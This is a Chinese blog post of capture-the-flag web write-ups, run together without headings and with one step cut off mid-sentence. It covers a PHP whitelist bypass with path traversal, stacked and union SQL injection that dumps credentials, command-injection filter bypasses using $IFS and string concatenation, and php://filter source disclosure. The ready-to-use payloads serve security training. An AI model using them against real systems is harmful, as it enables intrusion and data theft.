赞
踩
目录
打开是个滑稽笑脸查看源码发现source.php文件
访问source.php得到以下源码
- <?php
- highlight_file(__FILE__);
- class emmm
- { //定义了一个checkFile函数
- public static function checkFile(&$page)
- { //定义白名单及source.php和hint.php
- $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
- if (! isset($page) || !is_string($page)) { //判断page是否声明及是否为字符串
- echo "you can't see it";
- return false;
- }
-
- if (in_array($page, $whitelist)) { //判断page是否在白名单里
- return true;
- }
-
- $_page = mb_substr( //截取字符串从第一个问好号开始
- $page,
- 0,
- mb_strpos($page . '?', '?')
- );
- if (in_array($_page, $whitelist)) {
- return true;
- }
-
- $_page = urldecode($page);
- $_page = mb_substr(
- $_page,
- 0,
- mb_strpos($_page . '?', '?')
- );
- if (in_array($_page, $whitelist)) {
- return true;
- }
- echo "you can't see it";
- return false;
- }
- }
-
- if (! empty($_REQUEST['file']) //判断file值不为空
- && is_string($_REQUEST['file']) //file是否为字符串
- && emmm::checkFile($_REQUEST['file']) //并且checkFile函数返回为真
- ) {
- include $_REQUEST['file']; //解析文件路径返回文件内容到页面当中
- exit;
- } else {
- echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
- }
- ?>
知识点:
1.is_string()
is_string() 函数用于检测变量是否是字符串。
2.php中的::
::是调用类中的静态方法或者常量,属性的符号
3.mb_substr()
函数返回字符串的一部分
4.mb_strpos():
返回要查找的字符串在别一个字符串中首次出现的位置
5.&&
&& 如果两个操作数都非零,则条件为真;
访问hint.php,看到了ffffllllaaaagggg文件
由此得知找当对应的路径就可以得到flag,我们使用../../一层一层的网上找即可
发现无论输入什么数子都回显1,联想到堆叠注入
1;show databases;查看数据库
1; show tables;发现flag表
但是怎么也查看不了 好像from和select被过滤了 也是借鉴了大佬的博客 讲的很清楚 链接
1;set sql_mode=PIPES_AS_CONCAT;select 1
相当于是将select 1 和 select flag from Flag 的结果拼接在一起,也就是 select 1;的结果拼接select flag from Flag的结果
根据题目提示直接输入本地ip发现有会显
使用连接符进行查看根目录 ;&& ||
使用空格绕过查看index.php 看一下过滤规则
$IFS
$IFS$6 ——后面的数字6换成其他数字也行
${IFS}
<
<>
{cat,flag.php} ——这里把,替换成了空格键
%20 ——代表space键
%09 ——代表Tab
过滤了好多字符 这里可以使用拼接绕过
比如:a=l;b=s;$a$b
利用偶读拼接方法绕过黑名单:a=fl;b=ag;cat $a$b
利用.拼接绕过(sy.(st).em)
使用内敛执行代替system
使用查询语句对库进行查询 1' union select 1,2,databases()# 但是发现对一些关键字进行了过滤
可以是用堆叠注入,sql语言在被执行的时候是以封号的结束的,但是一行可以执行多个语句
列:select 1;
select 2; 等于 select 1; select 2; select 3;
select 3;
使用 1‘;show databases;#查看数据库
使用 1’;show tables;# 查看表名
在使用 1'; show columns from`1919810931114514`;# 这里注意表名要加反引号
看到flag字段 使用
打开题目 右键全选发现有一个隐藏的超链接 在源码中也可以看到
啥也没有看到 就查阅结束了可以隐藏在数据包里面了 抓包查看一下
可以看到数据包响应的时候有个secr3t.php 访问一下
访问得到了php源码 发现对读取的方式进行了过滤
这里用到php的读取伪协议
php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。
php://filter/resource=<待过滤的数据流>(就是文件的路径)
php://filter/read=<读链需要应用的过滤器列表>(就是具体的操作)
?file=php://filter/convert.base64-encode/resource=flag.php 就是将flag.php文件以base64的形式输出
用?file=php://filter/read=convert.base64-encode/resource=flag.php
使用伪协议?file=php://filter/read=convert.base64-encode/resource=flag.php 读取flag文件并进行base64编码 查看源码得到base64
在burp里面解码一下flag就出来了
输入1' 发现报错 判断为字符型注入
在使用万能密码 1' or 1=1# 知道了账号名
这个密码是md5加密把 但是没啥用 解密也解不出来
使用 1' order by 1#来测试字段数 发现到4的时候报错了 得知只有三个字段
查询数据库和版本: 1' union select 1,database(),version()#
爆表名:?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1
爆字段:
- /check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=1
爆出字段值
- /check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1
得到flag
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。